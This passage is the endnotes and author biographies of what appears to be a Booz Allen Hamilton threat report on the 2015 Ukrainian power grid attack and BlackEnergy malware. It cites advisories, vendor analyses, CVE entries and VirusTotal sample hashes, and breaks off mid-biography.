hxxps://info.publicintelligence.net/NCCIC-UkrainianPowerAttack.pdf. 113. Michael J. Assante and Robert M. Lee, The Industrial Control System Cyber Kill Chain, SANS Institute, October 2015, accessed July 12, 2016, hxxps://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297. 114. Robert Lipovsky and Anton Cherapanov, Last-minute paper: Back in BlackEnergy: 2014 targeted attacks in the Ukraine and Poland, Virus Bulletin, September 25, 2015, accessed July 12, 2016, hxxps://www.virusbulletin.com/conference/vb2014/ abstracts/back-blackenergy-2014-targeted-attacks-ukraine-and-poland. 115. Aleksey Yasinskiy, DISMANTLING BLACKENERGY, PART 3 ALL ABOARD! SOCPrime, March 29, 2016, accessed August 19, 2016, hxxps://socprime.com/en/blog/dismantling-blackenergy-part-3-all-aboard/. 116. Robert M. Lee, Michael J. Assante, and Tim Conway, Analysis of the Cyber Attack on the Ukrainian Power Grid Defense Use Case, SANS Institute and Electricity Information Sharing and Analysis Center, March 18, 2016, accessed July 12, 2016, hxxps://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf. 117. Kim Zetter, Inside the Cunning Unprecedented Hack of Ukraine s Power Grid, Wired, March 3, 2016, accessed July 13, 2016, hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/. 118. Michael J. Assante and Robert M. Lee, The Industrial Control System Cyber Kill Chain, SANS Institute, October 2015, accessed July 12, 2016, hxxps://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297. 119. Kim Zetter, Inside the Cunning Unprecedented Hack of Ukraine s Power Grid, Wired, March 3, 2016, accessed July 13, 2016, hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/. 120. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicintelligence.net/NCCIC-UkrainianPowerAttack.pdf. 121. Robert M. Lee, Michael J. Assante, and Tim Conway, Analysis of the Cyber Attack on the Ukrainian Power Grid Defense Use Case, SANS Institute and Electricity Information Sharing and Analysis Center, March 18, 2016, accessed July 12, 2016, hxxps://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf. 122. Ibid. 123. Kim Zetter, Inside the Cunning Unprecedented Hack of Ukraine s Power Grid, Wired, March 3, 2016, accessed July 13, 2016, hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/. 124. Dragonfly: Western Energy Companies Under Sabotage Threat, Symantec, June 30, 2014, accessed July 14, 2016, hxxp:// www.symantec.com/connect/blogs/dragonfly-western-energy-companies-under-sabotage-threat. 125. Michael J. Assante and Robert M. Lee, The Industrial Control System Cyber Kill Chain, SANS Institute, October 2015, accessed July 12, 2016, hxxps://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297. 126. Ibid. 127. Robert M. Lee, Michael J. Assante, and Tim Conway, Analysis of the Cyber Attack on the Ukrainian Power Grid Defense Use Case, SANS Institute and Electricity Information Sharing and Analysis Center, March 18, 2016, accessed July 12, 2016, hxxps://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf. 128. Ibid. 129. Black Energy, CERT-UA, September 11, 2015, accessed July 13, 2016, hxxp:// cert.gov.ua/?p=2370. 130. Robert Lipovsky and Anton Cherepanov, BlackEnergy trojan strikes again: Attacks Ukrainian electric power industry, welivesecurity, January 4, 2016, accessed July 12, 2016, hxxp://www.welivesecurity.com/2016/01/04/ blackenergy-trojan-strikes-again-attacks-ukrainian-electric-power-industry/. 131. Aleksey Yasinskiy, DISMANTLING BLACKENERGY, PART 3 ALL ABOARD! SOCPrime, March 29, 2016, accessed August 19, 2016, hxxps://socprime.com/en/blog/dismantling-blackenergy-part-3-all-aboard/. 132. Ibid. 133. Kim Zetter, Inside the Cunning Unprecedented Hack of Ukraine s Power Grid, Wired, March 3, 2016, accessed July 13, 2016, hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/. 134. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicintelligence.net/NCCIC-UkrainianPowerAttack.pdf. 135. Aleksey Yasinskiy, DISMANTLING BLACKENERGY, PART 3 ALL ABOARD! SOCPrime, March 29, 2016, accessed August 19, 2016, hxxps://socprime.com/en/blog/dismantling-blackenergy-part-3-all-aboard/. 136. Ibid. 137. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicintelligence.net/NCCIC-UkrainianPowerAttack.pdf. 138. Ibid. 139. Ibid. 140. Kim Zetter, Inside the Cunning Unprecedented Hack of Ukraine s Power Grid, Wired, March 3, 2016, accessed July 13, 2016, hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/. 141. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicintelligence.net/NCCIC-UkrainianPowerAttack.pdf. 142. Ibid. 143. UPS Network Management Cards, Schneider Electric, accessed July 13, 2016, hxxp://www.schneider-electric.com/en/ product-range/61936-ups-network-management-cards/. 144. Vulnerability Note VU#166739APC Network Management Card web interface vulnerable to cross-site scripting and cross-site request forgery, Carnegie Mellon University Computer Emergency Response Team, February 24, 2010, modified April 29, 2010, accessed July 13, 2016, hxxps://www.kb.cert.org/vuls/id/166739. 145. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicintelligence.net/NCCIC-UkrainianPowerAttack.pdf. 146. Kim Zetter, Inside the Cunning Unprecedented Hack of Ukraine s Power Grid, Wired, March 3, 2016, accessed July 13, 2016, hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/. 147. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicintelligence.net/NCCIC-UkrainianPowerAttack.pdf. 148. Ibid. 149. Robert M Lee, Confirmation of a Coordinated Attack on the Ukrainian Power Grid, SANS, January 9, 2016 hxxps://ics.sans. org/blog/2016/01/09/confirmation-of-a-coordinated-attack-on-the-ukrainian-power-grid. Booz Allen Hamilton 150. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicintelligence.net/NCCIC-UkrainianPowerAttack.pdf. 151. Jose Pagliery, Scary questions in Ukraine energy grid hack, CNN Money, January 18, 2016, accessed July 13, 2016, hxxp:// money.cnn.com/2016/01/18/technology/ukraine-hack-russia/. 152. Robert M Lee, Confirmation of a Coordinated Attack on the Ukrainian Power Grid, SANS, January 9, 2016 hxxps://ics.sans. org/blog/2016/01/09/confirmation-of-a-coordinated-attack-on-the-ukrainian-power-grid. 153. Robert M. Lee, Michael J. Assante, and Tim Conway, Analysis of the Cyber Attack on the Ukrainian Power Grid Defense Use Case, SANS Institute and Electricity Information Sharing and Analysis Center, March 18, 2016, accessed July 12, 2016, hxxps://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf. 154. Rich Heidorn, How a Phantom Mouse and Weaponized Excel Files Brought Down Ukraine s Grid, March 28, 2016, hxxp:// www.rtoinsider.com/nerc-phantom-mouse-cyberattack-24232/. 155. Ellen Nakashima, Russian hackers suspected in attack that blacked out parts of Ukraine, Washington Post, January 5, 2016, accessed July 14, 2016, hxxps://www.washingtonpost.com/world/national-security/russian-hackers-suspected-in-attack-thatblacked-out-parts-of-ukraine/2016/01/05/4056a4dc-b3de-11e5-a842-0feb51d1d124_story.html. 156. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicintelligence.net/NCCIC-UkrainianPowerAttack.pdf. 157. Kim Zetter, Inside the Cunning Unprecedented Hack of Ukraine s Power Grid, Wired, March 3, 2016, accessed July 13, 2016, hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/. 158. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicintelligence.net/NCCIC-UkrainianPowerAttack.pdf. 159. Ibid. 160. Vulnerability Summary for CVE-2014-6271, National Vulnerability Database, September 24, 2014, modified June 28, 2016, accessed July 14, 2016, hxxps://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271. 161. Vulnerability Summary for CVE-2014-7186, National Vulnerability Database, September 28, 2014, modified October 9, 2015, accessed July 14, 2016, hxxps://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7186. 162. Vulnerability Summary for CVE-2014-7187, National Vulnerability Database, September 28, 2014, modified October 9, 2015, accessed July 14, 2016, hxxps://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7187. 163. Vulnerability Summary for CVE-2014-6277, National Vulnerability Database, September 28, 2014, modified October 9, 2015, accessed July 14, 2016, hxxps://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6277. 164. Vulnerability Summary for CVE-2014-6278, National Vulnerability Database, September 30, 2014, modified June 14, 2016, accessed July 14, 2016, hxxps://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6278. 165. Advisory (ICSA-16-138-01) IRZ RUH2 3G Firmware Overwrite Vulnerability, US Department of Homeland Security Industrial computer Emergency Response Team, May 17, 2016, accessed July 14, 2016, hxxps://ics-cert.us-cert.gov/advisories/ ICSA-16-138-01. 166. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicintelligence.net/NCCIC-UkrainianPowerAttack.pdf. 167. Kim Zetter, Inside the Cunning Unprecedented Hack of Ukraine s Power Grid, Wired, March 3, 2016, accessed July 13, 2016, hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/. 168. The Surging Threat of Telephony Denial of Service Attacks, SecureLogix, Ocotber 21, 2014, accessed July 13, 2016, hxxp:// www.cisco.com/c/dam/en/us/products/collateral/unified-communications/unified-border-element/tdos_brochure.pdf. 169. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicintelligence.net/NCCIC-UkrainianPowerAttack.pdf. 170. Kim Zetter, Inside the Cunning Unprecedented Hack of Ukraine s Power Grid, Wired, March 3, 2016, accessed July 13, 2016, hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/. 171. Robert M. Lee, Michael J. Assante, and Tim Conway, Analysis of the Cyber Attack on the Ukrainian Power Grid Defense Use Case, SANS Institute and Electricity Information Sharing and Analysis Center, March 18, 2016, accessed July 12, 2016, hxxps://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf. boozallen.com/ics 172. The Surging Threat of Telephony Denial of Service Attacks, SecureLogix, Ocotber 21, 2014, accessed July 13, 2016, hxxp:// www.cisco.com/c/dam/en/us/products/collateral/unified-communications/unified-border-element/tdos_brochure.pdf. 173. Ibid. 174. TDoS Attacks on Public Safety Communications, Cook County Department of Homeland Security Emergency Management, March 16, 2013, accessed July 13, 2016, hxxp://krebsonsecurity.com/wp-content/uploads/2013/04/DHSEM-16SAU-01-LEO.pdf. 175. Ibid. 176. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicintelligence.net/NCCIC-UkrainianPowerAttack.pdf. 177. Ibid. 178. Black Energy, CERT-UA, September 11, 2015, accessed July 19, 2016, hxxp:// cert.gov.ua/?p=2370. 179. Ibid. 180. 052ebc9a518e5ae02bbd1bd3a5a86c3560aefc9313c18d81f6670c3430f1d4d4, Virus Total, July 6, 2016, accessed July 15, 2016, hxxps://www.virustotal.com/en/file/052ebc9a518e5ae02bbd1bd3a5a86c3560aefc9313c18d81f6670c3430f1d4d4/analysis/. 181. Ibid. 182. Ibid. 183. Ibid. 184. Analysis Report, joeSandboxCloud, accessed July 12, 2016, hxxps://www.document-analyzer.net/analysis/4073/16856/0/ html. 185. 052ebc9a518e5ae02bbd1bd3a5a86c3560aefc9313c18d81f6670c3430f1d4d4, Virus Total, July 6, 2016, accessed July 15, 2016, hxxps://www.virustotal.com/en/file/052ebc9a518e5ae02bbd1bd3a5a86c3560aefc9313c18d81f6670c3430f1d4d4/analysis/. 186. Ibid. 187. Robert M Lee, Potential Sample of Malware from the Ukrainian Cyber Attack Uncovered, SANS Institute, January 1, 2016, accessed July 15, 2016, hxxps://ics.sans.org/blog/2016/01/01/ potential-sample-of-malware-from-the-ukrainian-cyber-attack-uncovered. 188. Udi Shamir, Analyzing a New Variant of BlackEnergy 3 Likely Insider-Based Execution, SentinelOne, 2016, accessed July 12, 2016, hxxps://www.sentinelone.com/wp-content/uploads/2016/01/BlackEnergy3_WP_012716_1c.pdf. 189. Malicious Code Analysis on Ukraine s Power Grid Incident, Beijing Knownsec Information Technology Co., Ltd., January 10, 2016, accessed July 12, 2016, hxxp://blog.knownsec.com/wp-content/uploads/2016/01/Malicious-Code-Analysis-on-UkrainesPower-Grid-Incident-L150113.pdf. 190. 39d04828ab0bba42a0e4cdd53fe1c04e4eef6d7b26d0008bd0d88b06cc316a81, Virus Total, June 21, 2016, accessed July 15, 2016, hxxps://www.virustotal.com/en/file/39d04828ab0bba42a0e4cdd53fe1c04e4eef6d7b26d0008bd0d88b06cc316a81/ analysis/. 191. GReAT, BlackEnergy APT Attacks in Ukraine employ spearphishing with Word documents, SecureList, January 28, 2016, accessed July 12, 2016, hxxps://securelist.com/blog/research/73440/ blackenergy-apt-attacks-in-ukraine-employ-spearphishing-with-word-documents/. 192. 39d04828ab0bba42a0e4cdd53fe1c04e4eef6d7b26d0008bd0d88b06cc316a81, Virus Total, June 21, 2016, accessed July 15, 2016, hxxps://www.virustotal.com/en/file/39d04828ab0bba42a0e4cdd53fe1c04e4eef6d7b26d0008bd0d88b06cc316a81/ analysis/. Booz Allen Hamilton 193. Ibid. 194. Ibid. 195. Ibid. 196. GReAT, BlackEnergy APT Attacks in Ukraine employ spearphishing with Word documents, SecureList, January 28, 2016, accessed July 12, 2016, hxxps://securelist.com/blog/research/73440/ blackenergy-apt-attacks-in-ukraine-employ-spearphishing-with-word-documents/. 197. Ibid. 198. Udi Shamir, Analyzing a New Variant of BlackEnergy 3 Likely Insider-Based Execution, SentinelOne, 2016, accessed July 12, 2016, hxxps://www.sentinelone.com/wp-content/uploads/2016/01/BlackEnergy3_WP_012716_1c.pdf. 199. Ibid. 200. Ibid. 201. Blackenergy & Quedagh: The convergence of crimeware and APT attacks, F-Secure Labs Security Response, accessed July 12, 2016, hxxps://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf. 202. Ibid. 203. Analysis Report, joeSandboxCloud, accessed July 12, 2016, hxxps://www.document-analyzer.net/analysis/4073/16856/0/ html. 204. Udi Shamir, Analyzing a New Variant of BlackEnergy 3 Likely Insider-Based Execution, SentinelOne, 2016, accessed July 12, 2016, hxxps://www.sentinelone.com/wp-content/uploads/2016/01/BlackEnergy3_WP_012716_1c.pdf. 205. ca7a8180996a98e718f427837f9d52453b78d0a307e06e1866db4d4ce969d525, Virus Total, June 21, 2016, accessed July 15, 2016, hxxps://www.virustotal.com/en/file/ca7a8180996a98e718f427837f9d52453b78d0a307e06e1866db4d4ce969d525/ analysis/. 206. Ibid. 207. Ibid. 208. Ibid. 209. Ibid. 210. Ibid. 211. 07e726b21e27eefb2b2887945aa8bdec116b09dbd4e1a54e1c137ae8c7693660, Virus Total, June 21, 2016, accessed July 15, 2016, hxxps://www.virustotal.com/en/file/07e726b21e27eefb2b2887945aa8bdec116b09dbd4e1a54e1c137ae8c7693660/analysis/. 212. Ibid. 213. Ibid. 214. Ibid. 215. Ibid. 216. Ibid. 217. 07a76c1d09a9792c348bb56572692fcc4ea5c96a77a2cddf23c0117d03a0dfad, Virus Total, June 21, 2016, accessed July 15, 2016, hxxps://www.virustotal.com/en/file/07a76c1d09a9792c348bb56572692fcc4ea5c96a77a2cddf23c0117d03a0dfad/analysis/. 218. Ibid. boozallen.com/ics 219. Ibid. 220. Ibid. 221. Ibid. 222. b90f268b5e7f70af1687d9825c09df15908ad3a6978b328dc88f96143a64af0f, Virus Total, February 12, 2016, accessed July 15, 2016, hxxps://www.virustotal.com/en/file/b90f268b5e7f70af1687d9825c09df15908ad3a6978b328dc88f96143a64af0f/analysis/. 223. Ibid. 224. Malicious Code Analysis on Ukraine s Power Grid Incident, Beijing Knownsec Information Technology Co., Ltd., January 10, 2016, accessed July 12, 2016, hxxp://blog.knownsec.com/wp-content/uploads/2016/01/Malicious-Code-Analysis-on-UkrainesPower-Grid-Incident-L150113.pdf. 225. b90f268b5e7f70af1687d9825c09df15908ad3a6978b328dc88f96143a64af0f , Virus Total, February 12, 2016, accessed July 15, 2016, hxxps://www.virustotal.com/en/file/b90f268b5e7f70af1687d9825c09df15908ad3a6978b328dc88f96143a64af0f/. 226. Ibid. 227. Anton Cherepanov, BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry, welivesecurity, January 3, 2016, accessed July 15, 2016, hxxp://www.welivesecurity.com/2016/01/03/ blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/. 228. Malicious Code Analysis on Ukraine s Power Grid Incident, Beijing Knownsec Information Technology Co., Ltd., January 10, 2016, accessed July 12, 2016, hxxp://blog.knownsec.com/wp-content/uploads/2016/01/Malicious-Code-Analysis-on-UkrainesPower-Grid-Incident-L150113.pdf. 229. Ibid. 230. Udi Shamir, Analyzing a New Variant of BlackEnergy 3 Likely Insider-Based Execution, SentinelOne, 2016, accessed July 12, 2016, hxxps://www.sentinelone.com/wp-content/uploads/2016/01/BlackEnergy3_WP_012716_1c.pdf. 231. Blackenergy & Quedagh: The convergence of crimeware and APT attacks, F-Secure Labs Security Response, accessed July 12, 2016, hxxps://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf. 232. Ibid. 233. Ibid. 234. Anton Cherepanov, BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry, welivesecurity, January 3, 2016, accessed July 15, 2016, hxxp://www.welivesecurity.com/2016/01/03/ blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/. 235. Chintan Shah, Evolving DDoS Botnets: 1. BlackEnergy, McAfee Labs Blog, February 28, 2011, accessed July 19, 2016, hxxps://blogs.mcafee.com/business/security-connected/evolving-ddos-botnets-1-blackenergy/. 236. Anton Cherepanov, BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry, welivesecurity, January 3, 2016, accessed July 15, 2016, hxxp://www.welivesecurity.com/2016/01/03/ blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/. 237. Ibid. 238. Ibid. 239. ef380e33a854ef9d9052c93fc68d133cfeaae3493683547c2f081dc220beb1b3, Virus Total, June 21, 2016, accessed July 15, 2016, hxxps://www.virustotal.com/en/file/ef380e33a854ef9d9052c93fc68d133cfeaae3493683547c2f081dc220beb1b3/analysis/. 240. Ibid. 241. Booz Allen Hamilton Ibid. 242. Ibid. 243. Ibid. 244. Ibid. 245. Ibid. 246. f5785842682bc49a69b2cbc3fded56b8b4a73c8fd93e35860ecd1b9a88b9d3d8, Virus Total, July 11, 2016, accessed July 15, 2016, hxxps://www.virustotal.com/en/file/f5785842682bc49a69b2cbc3fded56b8b4a73c8fd93e35860ecd1b9a88b9d3d8/analysis/. 247. Ibid. 248. Ibid. 249. Ibid. 250. Ibid. 251. Ibid. 252. Ibid. 253. 244dd8018177ea5a92c70a7be94334fa457c1aab8a1c1ea51580d7da500c3ad5, Virus Total, June 21, 2016, accessed July 15, 2016. hxxps://www.virustotal.com/en/file/244dd8018177ea5a92c70a7be94334fa457c1aab8a1c1ea51580d7da500c3ad5/analysis/. 254. Ibid. 255. Ibid. 256. Ibid. 257. Ibid. 258. Ibid. 259. 0969daac4adc84ab7b50d4f9ffb16c4e1a07c6dbfc968bd6649497c794a161cd, Virus Total, June 21, 2016, accessed July 15, 2016, hxxps://www.virustotal.com/en/file/0969daac4adc84ab7b50d4f9ffb16c4e1a07c6dbfc968bd6649497c794a161cd/ analysis/. 260. Ibid. 261. Ibid. 262. Ibid. 263. Ibid. 264. Anton Cherepanov, BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry, welivesecurity, January 3, 2016, accessed July 15, 2016, hxxp://www.welivesecurity.com/2016/01/03/ blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/. 265. Anton Cherepanov, BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry, welivesecurity, January 3, 2016, accessed July 15, 2016, hxxp://www.welivesecurity.com/2016/01/03/ blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/. 266. Malicious Code Analysis on Ukraine s Power Grid Incident, Beijing Knownsec Information Technology Co., Ltd., January 10, 2016, accessed July 12, 2016, hxxp://blog.knownsec.com/wp-content/uploads/2016/01/Malicious-Code-Analysis-on-UkrainesPower-Grid-Incident-L150113.pdf. boozallen.com/ics 267. Robert M. Lee, Michael J. Assante, and Tim Conway, Analysis of the Cyber Attack on the Ukrainian Power Grid Defense Use Case, SANS Institute and Electricity Information Sharing and Analysis Center, March 18, 2016, accessed July 12, 2016, hxxps://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf. 268. Robert Lipovsky and Anton Cherepanov, BlackEnergy trojan strikes again: Attacks Ukrainian electric power industry, welivesecurity, January 4, 2016, accessed July 12, 2016, hxxp://www.welivesecurity.com/2016/01/04/ blackenergy-trojan-strikes-again-attacks-ukrainian-electric-power-industry/. 269. Kyle Wilhoit, KillDisk and BlackEnergy Are Not Just Energy Sector Threats, Trend Micro, February 11, 2016, accessed July 20, 2016, hxxp://blog.trendmicro.com/trendlabs-security-intelligence/killdisk-and-blackenergy-are-not-just-energy-sector-threats/. 270. 30862ab7aaa6755b8fab0922ea819fb48487c063bea4a84174afbbd65ce26b86, Virus Total, March 22, 2016, accessed July 15, 2016, hxxps://www.virustotal.com/en/file/30862ab7aaa6755b8fab0922ea819fb48487c063bea4a84174afbbd65ce26b86/ analysis/. 271. Ibid. 272. Ibid. 273. Ibid. 274. Ibid. 275. Ibid. 276. Ibid. 277. f52869474834be5a6b5df7f8f0c46cbc7e9b22fa5cb30bee0f363ec6eb056b95, Virus Total, June 21, 2016, accessed July 15, 2016, hxxps://www.virustotal.com/en/file/f52869474834be5a6b5df7f8f0c46cbc7e9b22fa5cb30bee0f363ec6eb056b95/analysis/. 278. Ibid. 279. Ibid. 280. Ibid. 281. Ibid. 282. Ibid. 283. Ibid. 284. c7536ab90621311b526aefd56003ef8e1166168f038307ae960346ce8f75203d, Virus Total, June 21, 2016, accessed July 15, 2016, hxxps://www.virustotal.com/en/file/c7536ab90621311b526aefd56003ef8e1166168f038307ae960346ce8f75203d/analysis/. 285. Ibid. 286. Ibid. 287. Ibid. 288. Ibid. 289. Ibid. 290. Ibid. 291. Malicious Code Analysis on Ukraine s Power Grid Incident, Beijing Knownsec Information Technology Co., Ltd., January 10, 2016, accessed July 12, 2016, hxxp://blog.knownsec.com/wp-content/uploads/2016/01/Malicious-Code-Analysis-on-UkrainesPower-Grid-Incident-L150113.pdf. Booz Allen Hamilton 292. 5d2b1abc7c35de73375dd54a4ec5f0b060ca80a1831dac46ad411b4fe4eac4c6, Virus Total, July 15, 2016, accessed July 15, 2016, hxxps://www.virustotal.com/en/file/5d2b1abc7c35de73375dd54a4ec5f0b060ca80a1831dac46ad411b4fe4eac4c6/analysis/. 293. Ibid. 294. Ibid. 295. Ibid. 296. Ibid. 297. Ibid. 298. 11b7b8a7965b52ebb213b023b6772dd2c76c66893fc96a18a9a33c8cf125af80, Virus Total, June 21, 2016, accessed July 15, 2016, hxxps://www.virustotal.com/en/file/11b7b8a7965b52ebb213b023b6772dd2c76c66893fc96a18a9a33c8cf125af80/analysis/. 299. Ibid. 300. Ibid. 301. Ibid. 302. Ibid. 303. Ibid. 304. Ibid. 305. Malicious Code Analysis on Ukraine s Power Grid Incident, Beijing Knownsec Information Technology Co., Ltd., January 10, 2016, accessed July 12, 2016, hxxp://blog.knownsec.com/wp-content/uploads/2016/01/Malicious-Code-Analysis-on-UkrainesPower-Grid-Incident-L150113.pdf. 306. Blackenergy & Quedagh: The convergence of crimeware and APT attacks, F-Secure Labs Security Response, accessed July 12, 2016, hxxps://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf. 307. Ibid. 308. Raj Samani and Christiaan Beek, Updated BlackEnergy Trojan Grows More Powerful, McAfee Labs, January 14, 2016, accessed July 13, 2016, hxxps://blogs.mcafee.com/mcafee-labs/updated-blackenergy-trojan-grows-more-powerful/. 309. Robert Lipovsky and Anton Cherapanov, Last-minute paper: Back in BlackEnergy: 2014 targeted attacks in the Ukraine and Poland, Virus Bulletin, September 25, 2015, accessed July 12, 2016, hxxps://www.virusbulletin.com/conference/vb2014/ abstracts/back-blackenergy-2014-targeted-attacks-ukraine-and-poland. 310. Blackenergy & Quedagh: The convergence of crimeware and APT attacks, F-Secure Labs Security Response, accessed July 12, 2016, hxxps://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf. 311. Ibid. 312. Ibid. 313. Ibid. 314. Raj Samani and Christiaan Beek, Updated BlackEnergy Trojan Grows More Powerful, McAfee Labs, January 14, 2016, accessed July 13, 2016, hxxps://blogs.mcafee.com/mcafee-labs/updated-blackenergy-trojan-grows-more-powerful/. 315. Robert M. Lee, Michael J. Assante, and Tim Conway, Analysis of the Cyber Attack on the Ukrainian Power Grid Defense Use Case, SANS Institute and Electricity Information Sharing and Analysis Center, March 18, 2016, accessed July 12, 2016, hxxps://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf. boozallen.com/ics 316. Robert Lipovsky and Anton Cherapanov, Last-minute paper: Back in BlackEnergy: 2014 targeted attacks in the Ukraine and Poland, Virus Bulletin, September 25, 2015, accessed July 12, 2016, hxxps://www.virusbulletin.com/conference/vb2014/ abstracts/back-blackenergy-2014-targeted-attacks-ukraine-and-poland. 317. Ibid. 318. Raj Samani and Christiaan Beek, Updated BlackEnergy Trojan Grows More Powerful, McAfee Labs, January 14, 2016, accessed July 13, 2016, hxxps://blogs.mcafee.com/mcafee-labs/updated-blackenergy-trojan-grows-more-powerful/. 319. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicintelligence.net/NCCIC-UkrainianPowerAttack.pdf. 320. Paul Ducklin, Ukraine power outages blamed on hackers and malware the lessons to learn, nakedsecurity by Sophos, January 6, 2016, accessed July 12, 2016, hxxps://nakedsecurity.sophos.com/2016/01/06/ ukraine-power-outages-blamed-on-hackers-and-malware/. 321. Eduard Kovacs, BlackEnergy Malware Used in Ukraine Power Grid Attacks, SecurityWeek, January 4, 2016, accessed July 12, 2016, hxxp://www.securityweek.com/blackenergy-group-uses-destructive-plugin-ukraine-attacks. 322. Malicious Code Analysis on Ukraine s Power Grid Incident, Beijing Knownsec Information Technology Co., Ltd., January 10, 2016, accessed July 12, 2016, hxxp://blog.knownsec.com/wp-content/uploads/2016/01/Malicious-Code-Analysis-on-UkrainesPower-Grid-Incident-L150113.pdf. 323. Matt Johnston, Dropbear SSH, University of Western Australia University Computer Club, accessed July 12, 2016, hxxps:// matt.ucc.asn.au/dropbear/dropbear.html. 324. Malicious Code Analysis on Ukraine s Power Grid Incident, Beijing Knownsec Information Technology Co., Ltd., January 10, 2016, accessed July 12, 2016, hxxp://blog.knownsec.com/wp-content/uploads/2016/01/Malicious-Code-Analysis-on-UkrainesPower-Grid-Incident-L150113.pdf. 325. Ibid. 326. Ibid. 327. Booz Allen Hamilton BlackEnergy and the Ukraine: Signals vs. Noise, Cylance, January 12, 2016, accessed July 12, 2016, hxxps://blog.cylance.com/ blackenergy-and-the-ukraine-signals-vs.-noise. AUTHORS JAKE STYCZYNSKI Jake Styczynski is an associate at Booz Allen Hamilton specializing in cyber threat research. He has conducted cyber threat landscape and organizational risk assessments for commercial and government clients. Jake has led project teams in open-source research efforts evaluating threats to space-based systems, maritime navigation and communication systems, and industrial control systems. Jake earned an M.I.A. in international security policy from Columbia University and a B.A. in political science from University of Massachusetts at Amherst. NATE BEACH-WESTMORELAND Nate Beach-Westmoreland (@NateBeachW) is a lead associate at Booz Allen Hamilton with nearly a decade of experience in cyber intelligence, open-source research, and geopolitical analysis. Nate leads a team of multidisciplinary analysts in producing strategic cyber threat intelligence for commercial and government clients. He has helped mature or establish several 